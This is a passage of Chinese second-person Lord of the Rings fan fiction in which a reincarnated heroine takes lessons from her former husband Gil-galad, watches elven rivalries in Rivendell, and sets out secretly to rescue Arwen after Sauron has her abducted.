“我能问问这是您的建议,还是他主动提出来的呢?” 埃尔隆德说:“这是他提出来的建议,我认为这也有利于你的学习,所以就替你答应了下来,当然,如果你觉得不合适也可以回绝。” 你想了想,倒也没有不合适,顶多就是觉得有些奇怪而已,因为从你的视角来看,你转世不过是一睁眼一闭眼的事情,但是站在吉尔-加拉德的角度,他已经经历了几千年的岁月洗礼,不再是你印象里青涩的精灵少年。 “不……我没有觉得不合适。”你说。 埃尔隆德点了点头,于是乎,当天上午你刚刚结束他上的课,下午就是吉尔-加拉德的课程了。 想到这里你不禁有些好奇,他会给你安排怎样的课程?总不会是文学方面的吧?他应该知道你对文学并不感兴趣。 时间一眨眼就来到了午后,你也见到了身穿浅金色长袍的吉尔-加拉德,他笑着对你说:“接下来我就是你的老师了。” “这感觉可真新奇。”你小声地说了一句。 吉尔-加拉德不解道:“你不喜欢吗?好吧……其实这是我所能想到能够合理接近你的唯一一个方法了。” 那还真是难为他了,为了合理地接近你想尽千方百计,他手里还拿着两本书,你仔细一看那两本书的书脊上的文字。 ——《马匹培养须知守则》《野兽大全》 还好不是什么文学方面的书籍,你总算是松了一口气,然后三步并作两步走到他的面前,“我们要去哪个房间上课?还是去埃尔隆德的书房吗?” “不,这个课程适合在室外进行教学。” “室外?” 看上去是个偏向实践性的课程,听得你更加感兴趣了,你说:“好吧,那我们接下来要去哪里呢?” 吉尔-加拉德尽可能让自己表现出老师的严肃,但是因为面对的是你,所以无论何时,他的神色都是那么柔和,他说:“那今天就先去马厩教学吧?” 你忽然想到了什么,想到了昨天你收到的那张小纸条上写的内容,说的就是马厩里的那一匹小马驹终于学会走路了。 原来他在那个时候就已经开始铺垫了吗? “你该不会在很久之前就开始筹备这件事了吧?”你问道。 吉尔-加拉德如实回答:“也不算是很久之前,只是在前几天突然想到了这件事而已。” “好吧,那就请您多多费心了,老师。” 话语间你走到他身边,瞥了一眼他手里的书,他顺势把那两本书递给你,又说:“你也不用特意称呼我为老师。” 而且听你那么称呼,他察觉出几分调侃的意味。 你没做声,往前面走了几步,发现他没有跟上来才回过头,“怎么了老师?” “没什么。” 而等你们到达马厩的时候早就有其他的精灵在那里给马匹喂草,你还以为那些精灵都是吉尔-加拉德找来的助教呢,你说:“其他的精灵也是你安排好的吗?” 这可不是他安排好的,倒不如说其实他也没想到还会有别的精灵在马厩那里。 一时之间吉尔-加拉德也顿了一下,他说:“这不是我安排的。” 嗯?不是他安排的?你微微挑起一边的眉毛,瞥见两道熟悉的身影,那是陶瑞尔和莱戈拉斯,他们也发现了你,陶瑞尔热情的对你挥挥手打招呼,“亚玟,你也是来给马喂草的吗?” 莱戈拉斯瞧见你身边的吉尔-加拉德,在他看来这位来自纳国斯隆德的精灵领主在此之前似乎和你并没有太多的交集,应该说是毫无交集才对,但现在的你们又为什么会行走在一块呢? 你沿着小路走到马厩旁边,还没等莱戈拉斯发问,你就很自然而然地向他们介绍吉尔-加拉德,“这位以后就是我的老师了。” “老师?”莱戈拉斯奇怪道,他记得你的老师好像是埃尔隆德吧?怎么现在又换了一个精灵呢? 莱戈拉斯凑到你身边小声地询问你:“埃尔隆德大人不愿意当你的老师了吗?” 在莱戈拉斯不解的眼神注视下,你解释道:“没有,如你所见,我现在有两个老师了。” 陶瑞尔手里的干草都被马匹吃完了,她又从旁边抓起另外一把干草,“那现在是你的上课时间吗?这节课不在书房里面进行?” 一旁的吉尔-加拉德看出这两个来自密林的精灵对你很熟悉,而且态度熟稔,就好像和你是多年的朋友,他记得你确实在密林度过了很长一段时间,当然,这是对于人类而言漫长的时间,在精灵看来,十年的时间并不算多久。 “这是一节户外实践课。”吉尔-加拉德很流畅地接过话头,“是关于如何喂养马匹的实践课。” 说到这个话题,那莱戈拉斯可就来了精神,因为密林的精灵也很擅长培养骏马,他说:“那我也可以教你这些内容。” 然而没等莱戈拉斯说完下半句话,刚才还在悠闲地给马匹喂草的陶瑞尔眼疾手快地打断他接下来要说的话,“既然如此,那我们就不打扰你们上课了。” 说着,她又先一步拉着莱戈拉斯离开,等他们走出一段距离之后莱戈拉斯还是一头雾水雾,不明白刚才到底发生了什么,他问道:“你怎么突然拉着我走了?” “如果不拉着你走,难不成还要看着你把气氛弄僵吗?”说着说着陶瑞尔忍不住叹了一口气,有时候她的伙伴莱戈拉斯就是太单纯了,都不知道刚才的气氛逐渐变得尴尬。 “那位精灵领主是出于好意才会成为亚玟的老师的,但你刚刚说的那一番话难免有些尖锐,当然我不是想要说我们密林精灵不如纳国斯隆德的精灵,我只是想说你刚才的举动很容易引起争论。” 正处在叛逆期的莱戈拉斯难得耐着性子听陶瑞尔说完这一段话,然后说:“……你说得有道理,刚才是我考虑不周,我不该那么说的。但是我始终感觉到有些疑惑,那就是之前亚玟似乎都没见过这位精灵吧?如果你说那是出于友善,那么他又为什么不对阿拉贡那么友善呢?” 莱戈拉斯说的话确实不由得让陶瑞尔陷入沉思,“也是……但我认为像亚玟这样的人类会获得精灵的青睐是理所当然的。”毕竟在陶瑞尔看来你是她见过最优秀的人类,那么精灵稍微偏爱这样的你又有什么奇怪的呢? 顶多就是吉尔-加拉德的态度让她觉得有些微妙而已,但是鉴于她也不了解对方,所以也不方便妄下定论,她说:“总之我没有从他身上感受到他对亚玟的恶意。” 这一点是最重要的。 “嗯,我赞同你的看法。”莱戈拉斯说,话音落下,他转过头看向远处的马厩,此时的你和吉尔-加拉德正站在马厩旁边,你手里还拿着一把干草,表情认真地听吉尔-加拉德讲课。 他上课上到一半,在课间休息的时候又突然问道:“你和刚才那两个精灵很熟悉吗?” “熟悉,我在密林的时候他们帮助了我许多,我很感谢他们。” 听到你那么说,吉尔-加拉德在感到庆幸的同时也自责自己当初没能及时救下你。 “我应该说过了的吧?你没必要动不动就自责,那样的表情很难看。”你说。 马厩里的马匹因为是由精灵抚养长大的,所以也能听懂人类的话语感知到人类的感情,它们感觉到你和吉尔-加拉德之间微妙的关系,一时间都忘了吃干草,而是纷纷抬起 头观察你和他。 第82章 第82章你所表现出来的喜爱实在…… 眼看这几匹马都不吃草了,你就用精灵语对它们说:“别凑热闹了,还是认真吃草吧。” 凑热闹被抓包的那几匹马听你这么说,就又都低下头吃干草,只不过偶尔还是会抬起头瞧你们一眼。 “现在还是上课时间,我觉得没必要提及和上课无关的内容。”单看你说的话,不知情的人听到的话,估计还会把你错当成老师呢。 在你说的这句话之后,吉尔-加拉德就没再提起过类似的话题,这节户外实践课一直持续到傍晚时分,其实课程的内容基本上在傍晚前就已经结束了,只不过吉尔-加拉德没说下课的事情,他在有意无意地拖长与你单独相处的时间,至于你呢,也没有戳穿他的小心思。 “你在这里停留那么久不需要给纳国斯隆德的亲族写几封信吗?”你说。 “我已经过了外出太久他们会担心我的年纪,我想真正应该写信回去的是那位名叫莱戈拉斯的精灵王子才对。” 因为现在下课了,他就又提到了其他精灵的话题,尤其是莱戈拉斯,他总是很在意。 明明心里都想着把对方给调查一番,到脸上还得要表现出一副大度的模样,这不免让你觉得有些好笑,你说:“我可不知道你原来还会和年纪小的精灵斤斤计较啊?” 被你这么一说,吉尔-加拉德沉默片刻,他原以为自己隐藏得很好,结果还是被你一眼给看出来了吗? 你们从马厩离开以后走在另外一条小路上,幽谷里有很多这样相似的小路,一个不留神就很容易迷路,你们漫无目的地走在这些纵横交错的小路上。 “这算是斤斤计较吗?”吉尔-加拉德轻声问道。 看吧,这就是你之前为什么没有马上和他相认的原因,在相认之后,给你带来的影响是有利也有弊的,一方面你可以理所当然地将他作为助力,另外一方面就是弊端了,就比如说现在,他会对围绕在你身边的其他精灵都持怀疑和隐约的审视态度。 “难道不算是吗?”你反问道。 吉尔-加拉德倒是依旧保持着善于自省的好喜欢,他因为你的话语自我反省了很久,在你们路过瀑布的时候,他就又说:“我刚才说的话确实不稳妥……因为不管怎么说他们也曾经照顾过你。” “有一件事情我想要和你确认一下,那就是虽然我们之前确实是夫妻,但是不代表我们现在关系仍就是伴侣。” 毕竟你曾经的身份都已经随着你的死去而消失,那么这个身份联系他一起的婚姻关系也该随之消失。 吉尔-加拉德缓慢地眨了一下眼睛,是的,他刚才的态度太理所当然了,就好像你曾经和他是伴侣,那么转生的你也应该是他的伴侣,但他忘了,这段关系的主导权一直都在你手里,之前是你向他提出婚约,也是你确定你们之间的关系。 那么这次呢?你未曾明确的表示过自己的态度,也许这一次你并不想再继续这份婚姻。 “我知道,我要为我刚才的言行道歉,是我太自以为是了。” 你听到这里又对他摆摆手,因为再继续下去他就要开始贬低自我,这也不是你想看到的画面,“可以了,跳过这个话题好吗?” “在跳过这个话题之前,我还有一个问题。” “什么问题?” 吉尔-加拉德握住你的手指,“能再给我一次追求你的机会吗?” ……有时候你真的会惊讶于精灵的长情程度,你定定地看着他,这样沉默的氛围持续了许久,最后你才移开视线,没有回答这个问题,而是很流畅地换了个话题,“我想你也应该对最近索伦的举动有所察觉对吧?” “是的,他这段时间的举动越来越频繁,这不符合他往常的行事风格。” 吉尔-加拉德眼见你不打算给出刚才那个问题的答案,他也就没再追问,因为既然你不想回答,那他就算问多少遍也不会得到答案的。 而且你讨论起索伦的事情时神色凝重,显而易见的,你对这件事情更加在意。 “其实当初精灵们就尝试过将索伦杀死,但是无奈于他实在太过狡猾,而且他还吸取了前一任主人魔苟斯的教训,行事更加小心谨慎。在很长一段时间内,我们都没能捕捉到关于他的踪迹。” 吉尔-加拉德说起以前的事情,说着说着,他忽然想到了什么,“之前那支突然袭击的半兽人军队该不会……”他的声音停顿了一下。 “是的,我想这就是索伦搞的鬼,他以为那样做就可以直接抹除我的痕迹,消除隐患。”你站在瀑布旁边,那流水倾泻而下,哗啦啦的水流声成为背景的白噪音,空气中都弥漫着细小绵密的水珠。 不过真正棘手的地方不在于索伦的小心谨慎,而在于他打造出来的那一枚至尊魔戒。 你转过身又继续往前走,吉尔-加拉德伸出手抬起垂在你肩头的花枝,你瞥了一眼周围的花丛,想起他昨天送来的小纸条上压着的一朵报春花。 从瀑布旁边的那条小路离开,你们径直前往宫殿一角的露天平台,在那里可以享受傍晚的最后一缕夕阳。 那是一处绝佳的观景点,不止你这么认为,因为你们在到达那个露天平台的时候,早就有别的精灵站在上面欣赏风景了。 而不出意外的,那个精灵就是格洛芬德尔,他听见身后传来的脚步声,回过头,看见原来是你还有吉尔-加拉德。 格洛芬德尔在看见你的时候面露喜色,只是目光落在你身边的吉尔-加拉德时,那清浅的笑容就逐渐消失了。 他说:“你们是在散步吗?这里的风景的确很美。” 他认为你和吉尔-加拉德同行完全就是因为巧合,看来埃尔隆德还没有告诉他吉尔-加拉德已经成为你的另外一位老师这个消息。 “是啊,我们刚刚结束完今天的课程,正好四处散步,就当作是休息了。”吉尔-加拉德还是一如既往地和格洛芬德尔不对付。 他们在几千年前的关系就算不上多融洽,虽说时间能够抚平一切,但显然这个道理对精灵是不适用的,毕竟精灵最为宽裕的就是时间了。 “结束课程?”格洛芬德尔果不其然地捕捉到,刚才吉尔-加拉德说的那一句话里的关键词。 “是的,我也是今天才从埃尔隆德大人那里得知,我又多了一位新的老师。”你说。 说实在的,你一点也不想掺和到他们又一次的扯头花活动中,只是一时之间你没找到合适的借口离开而已,只能勉为其难地呆在现场。 如果说刚才只听吉尔-加拉德那么说,格洛芬德尔还会有些怀疑的话,那么现在听到你这么说他就知道这是个板上钉钉的事实。 “真意外,我原以为你不会在幽谷停留太久的,毕竟你在外停留太久,你那远在纳国斯隆德的亲族说不定会担心呢。”格洛芬德尔这么说,看上去好像是在关心吉尔-加拉德,但真正的意思并非如此。 至于吉尔-加拉德,他也不再是几千年前那个青涩的精灵少年了,面对格洛芬德尔略带锐利的言辞,他也能够从容应对,“关于这件事我想是您多虑了。” 唉,精灵之间也会存在冷嘲热讽阴阳怪气的对话,可别觉得这种生物神圣而不食人间烟火,实际上有的精灵脾气算不得太好,尤其是诺多精灵,而格洛芬德尔应该算是诺多精灵里面脾气好的那一批了。 你懒得掺和他们的对话,你在旁边随便找个位置坐下,比起留意他们之间的暗流涌动,还不如欣赏此刻的夕阳美景呢。 好在这两个精灵碍于你在场他们之间的冲突也仅限于言语上的有来有回而已,而且那些言语的程度局限于阴阳怪气,甚至都还没有到争论的地步。 最后一缕夕阳在天边逐渐延伸成一条极为纤细的线条,这线条是不规则的,将天空与地面直接分割开。 那条不规则的细线又一点一点地被夜色蚕食最终消失在黑影中。 夜晚降临,黑暗笼罩这片土地,在白天碍于阳光的威力无法活动的黑暗生物也趁着夜色倾巢而出。 索伦的眼瞳缓缓睁开,他询问手下关于你的情况,但是得到的消息都让他感到恼怒,因为你不仅逃出生天,而且还从莫里亚半兽人军队手下解救出阿拉贡。 这就让索伦更加恼火了, 因为按照他起初的设想,你应该会在前往幽谷的路上被他的手下抓住,至于阿拉贡只会成为他折磨你的工具,但是现在他的这两个计划通通落空,他既没能抓住你,甚至还让阿拉贡给逃跑了。 真是一群没用的东西,索伦在心里恼怒地想,正好这时候又有其他的手下跑来报告情况,这算是直接撞枪口上了,那个半兽人首领说:“我听说她过一段时间就会离开幽谷,等到那时我们的机会就又来了。” “我们的机会就又来了?”索伦冷笑地重复一遍,真要等到那个时候他抓住你的几率微乎其微,因为你必然不会让自己再次犯险,你就是那么谨慎的人类,而且更糟糕的是你那可怕的报复心理。 之前索伦就有见识过你的报复心有多强,而且你为了达成自己的目的,能够多年韬光养晦,运筹帷幄。 这才是你真正最可怕的地方。 “是啊……一等她离开幽谷我们就把她抓起来,然后您的心头大换也能就此铲除。”那个半兽人首领还没有察觉出索伦隐约的怒火,他甚至还在提议到时候再派出一支座狼队伍来断绝你的后路。 他说着说着就忘了观察索伦的脸色,等他反应过来的时候已经太晚了,索伦冷笑一声,“正是因为你们这样轻敌的态度才会导致你们一次又一次的失败!” 终于,那个半兽人意识到自己好像说错话了,他毕恭毕敬地低下头,甚至还因为害怕而后退几步,免得索伦一怒之下就让他脑袋落地。 “我……” “你又想要狡辩什么呢?难道我说的不是事实吗?还是说你觉得以你这样的轻敌心态能够抓住她?”索伦起身,他浑身散发着浓重的戾气,半兽人止不住地发抖。 “不如让我把话说得直接一些吧,如果真的按照你的计划来,有一点我是可以肯定的,那就是你绝对抓不住她,而且甚至还会死在她的手下。” 索伦确实很讨厌你,甚至到了憎恶的地步,但即便如此,他也不可否认你胆识过人,这也是为什么维拉会将你当做人类的启明星。 想到这里他就觉得自己当初没能在你还年幼的时候直接将你杀死是个绝对的错误。 现在的你不仅长大成人,而且还再一次地与精灵结为好友。 眼看着原本关系疏远的精灵又一次因为你的出现而逐渐团结在一起,索伦感受到了空前的危机。 原本的他只需要找回那一枚至尊魔戒,然后再等到那些精灵对中土感到厌倦以后西渡前往维林诺。 只要等到那个时候……剩下的人类和矮人都不足为惧,尤其是人类,这个种族天然地无法抗拒魔戒带来的诱惑,他都能够想象到在精灵离开以后,一个又一个的人类首领成为他手中的傀儡。 这个计划是多么完美呀,只是中间出现了一个不可控的因素,那就是你的存在,因为有你,一方面精灵不会轻易离开中土,尤其是吉尔-加拉德,既然他不离开,那就意味着纳国斯隆德的大部分精灵也不会选择西渡;另一方面,你的出现又会使得原本处在分裂状态的人类各国又再次聚拢起来。 想到这里,索伦的怒火也不再有所掩饰,这一切的一切,肯定都是维拉的安排,不,准确来说,应该是伊露维塔的安排,毕竟只有伊露维塔才能掌控人类的灵魂再次转生。 他又该如何除掉你呢?你似乎什么都不在乎,哪怕是你曾经的精灵爱人你也没有那么在意,这才是真正麻烦的地方,那就是无法找到你的弱点,自然也就不知道该如何对你下手。 “不过……远在洛丝罗瑞恩的精灵公主似乎在这段时间就要返回幽谷了。”那个半兽人总算是提供了一个有用的消息,索伦思考片刻,他的怒火消弭,脸上逐渐浮现出阴险狠毒的笑容。 他想到了一个方法,一个可以迫使你离开幽谷的方法。 “他们离开洛丝罗瑞恩的具体时间是什么时候?”索伦问道,但是停顿几秒后他又说,“算了,这也不重要,明天才开始你带上一支兽人军队在从洛丝罗瑞恩去往幽谷的路上埋伏。” 这样的事情在历史上也曾发生过,而且巧合的是被偷袭的对象就是阿尔温的母亲,同样也是幽谷精灵领主埃尔隆德的妻子。 “记住,我要活捉她。”这样一来,他就可以与埃尔隆德谈判,由此威胁对方交出你。 当然,他知道以埃尔隆德的性格他绝不会以你为代价换回自己的女儿,这并不是因为他不爱他的女儿,而是因为这位精灵领主生性品德高尚,他绝不会向黑暗低头。 因此这个威胁其实针对的对象不是埃尔隆德而是你。 在索伦经过深思熟虑之后,得出的结论是你虽然看似对什么东西都不在意,但你还是会有意识地维持自己在其他精灵面前的高尚形象,所以他知道你会读懂他这一举动背后的意思。 那个半兽人首领眼看索伦的神色由阴转晴,他也不由得松了一口气,旋即退下。 与此同时的幽谷,在夜幕降临之后,你也站起身,而后对着还在旁边聊天的格洛芬德尔和吉尔-加拉德说:“看样子你们聊得很愉快。” 他们的对话可算不上多愉快,要不是你在场,他们之间的气氛估计又会变得剑拔弩张,就和以前一样。 你不知道的是,当初格洛芬德尔在听闻你和吉尔-加拉德的婚约后消沉了许多天,他的失落都被好友埃克塞理安看着眼里,某次他们在下棋的时候,格洛芬德尔还特意带了水晶球过来,就是专门为了占卜你与吉尔-加拉德的未来。 “既然他们都已经选择缔结婚约,那就说明无论是怎样的未来,他们都能够接受。”埃克塞理安还在劝说自己的朋友看开一些,但他说的话显然没什么效果,因为格洛芬德尔还是自顾自地拿出那颗水晶球。 因为拗不过自己的朋友,埃克塞理安只好耐着性子陪他一起占卜,最后的占卜结果却很奇怪,就连埃克塞理安也看不明白,他们俩盯着那颗水晶球里的图案看了许久。 埃克塞理安说:“我还是有些看不懂,他们的未来为什么会那样的扑朔迷离呢?就好像是……一团迷雾,看不到任何光明。” 格洛芬德尔没有将这个占卜的结果告诉你,又或者是吉尔-加拉德,这件事情也只有他和好友埃克塞理安知道,或许就是从那个时候开始,他就觉得你和吉尔-加拉德的婚姻注定不会有好结果。 时间回到现在,格洛芬德尔听着你的调侃话语,他说:“是啊,还算愉快。” 你们沿着长廊往回走,到中途还遇到林迪尔来找格洛芬德尔,应该是有什么重要的事情,林迪尔在格洛芬德尔身边耳语几句,然后他们交换了一个眼神,后者就对你们说:“抱歉,我先失陪一下。” 等到格洛芬德尔和林迪尔走远了,他们的身影几乎要消失在长廊尽头,你身边的吉尔-加拉德才开口:“他倒不必为了暂时的离开而道歉。” 毕竟这对于他来说是一件好事,他可不想和格洛芬德尔同行,因为对方总是会有意无意地吸引你的注意力,绝大部分时候都是故意的。 这不免让他感到有些不悦,虽然他生性温和,但也不是毫无脾气,因为无论怎么说,他的身体里都流淌着诺多精灵的血脉,自然也会有诺多精灵的一面。 “你这幅阴阳怪气的样子倒是很少见。”前脚刚刚调侃过格洛芬德尔,后脚就又开始调侃吉尔-加拉德。 “对不起,我不是有意那么做的,但是……换做任何一个精灵,都会对他的情敌感到不悦的吧?”吉尔-加拉德理所当然地说。 亏你之前还觉得他变成熟了一点呢,现在看来,他好像也没有成熟到哪里去,依旧和你印象中那个青涩的精灵少年丝毫不差。 “是的是的……”你半是敷衍地回答道。 夜色变得逐渐浓重,悬挂在夜空中的月亮撒下一地皎洁月光,点亮你们前进的道路,这画面就和你们当初在多尔罗明躲过其他巡逻士兵偷偷在夜间散步的画面一样。 不光是你这么想的,就连吉尔加拉德也和你想到了一块,他说:“和你散步要躲开其他人,这就好像是在婚礼前夕的那个夜晚一样。” “也有些不一样,至少这一次我们不需要钻花丛,而且你身上也不会粘得到处都是花瓣。” “你还记得……?”吉尔-加拉德的声音里带着几分 隐蔽的喜悦,他还以为这些过往你早就已经忘得一干二净了呢。 “是的,我的记性也没有差劲到那种地步吧?” 他没有怀疑你的记性,因为只要你想,你可以把任何事情都记得非常清楚,就连细节都记得一清二楚,但如果是你不在乎的东西,你甚至可以转头就忘,毫无负担地抛之于脑后。 曾经有一段时间吉尔-加拉德就很担心自己会被你抛下,你所表现出来的喜爱实在是太少了,当然他也不是在指责你的吝啬,只是……只是这多多少少让他会感觉到些许不安。 但他后来就又找到了合适的理由来解释你的行为,因为你是个内敛含蓄的人,所以才不会明显表露出自己的爱意,在很长一段时间内,他都用这个理由来说服自己。 第83章 第83章“我这是在贡献我的绵薄…… 又过了几天,埃尔拉丹和他的弟弟埃洛希尔又来找你询问该送阿尔温什么礼物,关于这个问题,你也思考了很多,最后得出的结论是,她身为埃尔隆德的女儿根本不缺什么金银财宝珠宝首饰,“不如送她一段自由的旅程。” 对于你的回答,他心有疑虑,他说:“现在局势动荡不适合四处游历。” 你耸耸肩,“这是我能给出最好的答案了,至于你们是否采纳,这就得看你们了。” 埃洛希尔脸上露出严肃的神色,其实他和自己的哥哥也都觉得你的提议很新颖,但另一方面出于对阿尔温安全的考虑,到最后他们也没有通过这个提议。 不过在阿尔温到达幽谷之前却发生了众人都意想不到的小插曲。 当初除了加拉德瑞尔派出的哈尔迪尔等精灵护送阿尔温去往幽谷,就连埃尔隆德也派出其他的精灵负责接送阿尔温。 可即便如此意外还是发生了,而且来得猝不及防。 毕竟无论是洛丝罗瑞恩还是幽谷都不会想到索伦专门派了一支半兽人军队埋伏在从洛丝罗瑞恩去往幽谷的路途上,精灵小队虽然每一个队员都是精锐,但是在兽人军队的数量压制下,他们被打得节节败退,甚至还有好几位精灵士兵死在这一场偷袭中。 更糟糕的是阿尔温也被索伦俘虏,被那些半兽人带回附近的巢穴,索伦在见到阿尔温之前就给幽谷写去了一封信,虽说是写给幽谷的,但这封信真正的收信人应该是你才对,索伦就是为了你才写的这封信。 关于精灵小队被偷袭以及暮星公主阿尔温被俘虏的消息很快就传到了幽谷,那封信也被送到埃尔隆德手上,他在看过信的内容之后脸色苍白,站在他身边的林迪尔感受到对方的情绪改变就也猜到了那封信的内容估计是什么坏消息。 他安静地注视着领主埃尔隆德,直到他将信纸折叠起来准备放回信封里,林迪尔便问道:“埃尔隆德大人……发生了什么吗?” 埃尔隆德没有马上回答,他的眉头紧锁神色凝重,过了好一会儿才叹息着说:“阿尔温被索伦的手下俘虏了。” 听到这里林迪尔的脸色也发生变化,他说:“那应当即刻派出精灵军队去——” 埃尔隆德也是这么想的,他先是叫来格洛芬德尔和埃克塞理安,告诉他们情况有变,现在他们的任务不是接送阿尔温,而是从索伦手中解救阿尔温。 作为身经百战的两个精灵领主,格洛芬德尔和埃克塞理安一下子就明白发生了什么,他们脸上的表情没有发生太大的变化,因为情况紧急,他们在询问了具体信息后就连夜从幽谷离开,他们的身影消失在浓重的夜色中。 在他们这两位精灵离开后不久,他们离去的动静就引起了你的注意,你主动来到埃尔隆德的书房,这里的主要原因是为了询问他关于医学书上面的疑问,另外一方面你也想知道为什么他们会急匆匆地从幽谷离开。 埃尔隆德见到突然出现在书房门口的你,他顿了顿,只听见你说:“埃尔隆德大人,我有些疑问希望能得到您的解答。” 埃尔隆德耐着性子回答你的问题,但他眉眼间是挥之不去的担忧神色,你带来的问题他都一一解答,到最后他还问道:“还有别的什么疑问吗?” “有。”只不过是和医学知识无关的问题,你说,“我刚才看到有一支精灵队伍从幽谷离开,是很紧急的任务吗?” 果然还是被你发现了吗?这一点也不奇怪,毕竟你的观察力过人,甚至于在刚刚进入他的书房时,你还瞥见他书桌上放着的那一封拆开没多久的书信。 因为你基本上每天都会来埃尔隆德的书房,所以你对他的书房布局也十分了解,多出什么东西或者少了什么东西,这样的小细节你一眼就能看出来。 你也不难发觉这封信是今天刚刚送到埃尔隆德手上的,你指了指那一封信,“是因为这封信吗?” 还没有等埃尔隆德回答,你就已经把事实的真相都推测得七七八八了。 “是的。”埃尔隆德艰难地回答,他原本不希望将你牵扯进这件事情里,尽管索伦写的这封信里一大半的内容都是有关于你的,看得出来索伦对你有着强烈的敌意。 “是暮星公主遇到了什么事情吗?”你一下子就猜到了问题的关键。 埃尔隆德知道自己无论怎样都无法在你面前隐瞒事情的真相,他只能如实告知,“是索伦偷袭了她,并且将她带回了自己的巢穴。” 这件事情有些蹊跷,因为你没想到索伦那么做的原因是什么,他是单纯为了威胁幽谷吗?还是别的什么原因呢? 而且以前的索伦行事风格绝不是这样鲁莽的,他做什么事情肯定都是有原因有目的的。 你思考片刻,忽然想到了什么,你说:“这封信是索伦寄来的对吗?” “没错。”埃尔隆德站起身,他从办公桌后面走出来,“他还在信里提到了你。” 嗯,这倒是不出意料,因为在十多年前,他就开始针对你了,而且前一阵子你从他手下围追堵截中顺利逃跑肯定也让他怒火中烧,说不定他就是被怒火冲昏了头脑才会出此下策,至于索伦这封信里提到你的内容,不用想也知道,多半就是威胁埃尔隆德交出你。 “可否让我看一看那封信?”你问道,埃尔隆德点了点头,你这才从书桌上拿起那封信,然后抽出信纸展平,你的目光扫过前面没 什么信息含量的句子。 索伦在这封信的开头还在那里假惺惺地问候埃尔隆德,过了一会才把自己的真实意图展露出来,就如同伪装成无害动物的野兽终于露出自己的獠牙。 “请您放心,我们不会伤害暮星公主,毕竟我们也知道您深爱着您的女儿,我们也无意与幽谷为敌,我们提出的条件也很简单,无非就是希望您能够交出那一位阿拉松的后人。” 得了吧,索伦可不是那种乖乖遵守规则的角色,而且他也低估了精灵的道德底线,根据你对埃尔隆德的了解,他是绝对不会就这样把你交给索伦的。 所以这封信其实并不是给埃尔隆德的,准确来说应该是给你的。 简直就像是在当面向你挑衅。 看完这封信,你扯了扯嘴角,面露嘲讽的神色,你倒是不想为难埃尔隆德,你说:“原来是这样。” 埃尔隆德说:“这件事情你不用担心,我已经让格洛芬德尔和埃克塞理安去解救阿尔温了。” 看得出来埃尔隆德很担心你会为此而感到自责,但他的担心都是多余的,你非但不会感到自责,更多的是对索伦这一威胁感到的不屑一顾,他该不会真的以为这样就能威胁到你了吧? 实在是太可笑了。 不过你确实也不能坐以待毙,一方面是你的骄傲使你无法容忍索伦的挑衅,另外一方面更是因为如果顺利解救阿尔温,想必幽谷和你的关系也会更加密切,你一下子就从埃尔隆德双生子弟弟不知道多少代的后代一跃成为阿尔温公主的救命恩人。 怎么说呢……这大概就是所谓的富贵险中求吧,要是能顺利解救暮星公主,那对你会有更多的好处。 而且还有更重要的一点你可以借此机会来试探现在的索伦实力如何。 不过你并没有将自己的真实想法告知埃尔隆德,因为这位正直的精灵一听到你打算单枪匹马解救阿尔温肯定会阻止你的。 所以你后来只是和他简单地聊了几句,看似好像被他的话语安慰到了,实则转身离开书房以后就开始计划如何从索伦那里解救阿尔温。 因为这件事情太过紧急,所以你拟定一个粗略的方案之后,就要从幽谷离开,尽管你的行动非常隐蔽,但还是被某位精灵发现了。 这里说的某一位精灵指的就是吉尔-加拉德,他之所以会捕捉到你要离开幽谷的迹象,是因为他平日里就处处留意着你的一举一动。 你拿上宝剑穿上盔甲,又从马厩里牵出那一匹专属坐骑。 正准备离开的时候,吉尔-加拉德也不知道是从哪里冒出来的,他说:“如果你要离开幽谷,那我就跟着你一起走。” 你手里还牵着缰绳,“你这是做什么?” “我这是在贡献我的绵薄之力。” 不,他这分明就是粘人的行为,可能是因为当初他眼睁睁地看着你逝去,即便这是人类必经的结局,可他还是无法接受你的死亡,并且经过几千年岁月的演变,将这份感情逐渐演变为对你的保护欲。 但你没有和他说太多的话,那是因为如果在这里坚持太久,那迟早会被其他精灵发现的,到时候你想走都走不了了。 你只是很简短地说:“但愿你真的如你所说的,只不过是为了贡献绵薄之力。” 说着,你一鼓作气地翻坐在马背上,马匹听话地朝着幽谷的出口跑去,而吉尔-加拉德同样骑着马紧随其后。 虽然他不知道你要去往何方,也不知道你离开的原因是什么,但他就是那么自然而然地跟随在你身边,这无需任何理由。 与此同时,在索伦的领地里,阿尔温被半兽人首领带到索伦面前,这位黑暗君主对暮星公主露出虚与委蛇的笑容,他说:“欢迎您来到这里,暮星公主,您不必担心太多,我们只是邀请您来这里做客而已。” 阿尔温的长相和曾经的最美精灵露西恩十分相似,这不仅仅是因为她身上流着露西恩的血脉,更像是冥冥之中命运的安排。 索伦曾经见过露西恩,那是在他的主人魔苟斯被杀死后,曾经魔苟斯的爪牙也纷纷四散逃开其中就包括了索伦,但他比其他的爪牙还要聪明谨慎一些,他躲开了来自精灵人类联盟大军的攻击,他终日盘踞在黑暗的阴影中窥视着中土的一切。 也正是在那一段时间,他看见了与爱人贝伦离开多瑞亚斯的露西恩,仅仅只是一个照面,对方就给索伦留下了深刻的印象,因此他在见到阿尔温的第一眼就在心中感叹她与曾经的露西恩多么相像。 阿尔温冷着一张脸,他可不会因为索伦的几句话就改变对他的看法,而且之前那些偷袭的半兽人军队杀死了许多精灵,从这一举动就能看出来对方毫无善意可言。 她说:“收起你那虚伪的善良,你的表演是如此令人作呕。” 索伦现在的心情不错,因为总算是有一件事情,按照他的计划顺利进行了,而且他现在抓住了阿尔温,无论如何你都会来到这里解救她的。 因此索伦也没有把阿尔温说的话放在心上心,他还能似笑非笑地继续和她客套,“唉,我想我们之间肯定存在着什么误会,因为如果我真的对您心存恶意的话,您又怎么能活着见到我呢?” 阿尔温知道索伦的伎俩,因为她的母亲就曾经被半兽人偷袭俘虏过,后来虽然被解救出来了,但是因为灵魂受到伤害所以她就早早地选择西渡去往维林诺。 “你们到底想要得到什么呢?”阿尔温冷静地问道,她在刚才来这个巢穴的路上就一直在观察周围的地形思考如何逃跑。 她的内心比她的外表看起来还要更加强大,正是这坚韧不拔的内心支持着她,哪怕是身处索伦的大本营也能保持从容冷静的状态。 “我们想要得到什么……?其实也不是什么多重要的东西,主要就得看你的父亲是否舍得交出来了。”索伦笑盈盈地说。 所以这是一场有预谋的绑架,而且他们肯定还向幽谷寄了信件,在信件里写明用来交换的东西,阿尔温从和索伦的几句话里提取出关键信息。 所以现在事情的关键点就变成了,索伦又向她的父亲埃尔隆德索要了什么东西呢? 第84章 第84章“人类?还是精灵?”…… 